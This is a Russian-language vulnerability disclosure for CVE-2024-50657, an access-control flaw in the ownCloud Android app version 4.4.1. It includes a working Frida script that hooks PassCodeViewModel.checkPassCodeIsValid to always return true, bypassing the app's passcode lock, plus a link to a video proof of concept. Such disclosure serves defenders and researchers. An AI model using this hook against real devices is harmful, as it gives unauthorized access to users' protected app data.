
Предоставляет proof-of-concept эксплойт для CVE-2024-50657 — уязвимости некорректного контроля доступа в Android-приложении Owncloud, демонстрирующий обход кода доступа с помощью перехвата через Frida.
Проблема в Owncloud Android APK версии 4.4.1 позволяет физически близкому злоумышленнику повышать привилегии через класс PassCodeViewModel, а именно через метод checkPassCodeIsValid.
Неправильный контроль доступа
Owncloud
Owncloud Android APK - 4.4.1
com.owncloud.android.presentation.security.passcode.PassCodeViewModel
Класс PassCodeViewModel в приложении управляет логикой проверки кода доступа. Метод checkPassCodeIsValid внутри этого класса отвечает за определение валидности введенного кода доступа.
Сценарий Frida используется для перехвата метода checkPassCodeIsValid в классе PassCodeViewModel. Реализация метода изменяется так, чтобы всегда возвращать true, обходя фактическую проверку кода доступа.
Сценарий Frida выполняется, пока приложение запущено. Любой введенный пользователем код доступа будет принят как валидный, что позволяет получить несанкционированный доступ.
Java.perform(function() { // Locate the PassCodeViewModel class in the target application var PassCodeActivity = Java.use('com.owncloud.android.presentation.security.passcode.PassCodeViewModel');
// Hook the checkPassCodeIsValid method to modify its behavior PassCodeActivity.checkPassCodeIsValid.implementation = function(passcode) {
// Bypass the actual passcode check by always returning true return true;
};
});
Ссылка на видео PoC: https://drive.google.com/drive/folders/1C-ZYjYhmKRGvWs9YN51XOiAS2WxxwdQd?usp=sharing
Эта уязвимость является клиентской уязвимостью обхода безопасности. Она затрагивает пользователей приложения, которые полагаются на функцию кода доступа для защиты конфиденциальных данных или ограничения доступа к определенным функциям приложения. Используя эту уязвимость, злоумышленник может обойти проверку кода доступа и получить несанкционированный доступ к областям приложения, которые должны быть защищены, что потенциально может привести к раскрытию пользовательских данных или разрешению несанкционированных действий в приложении.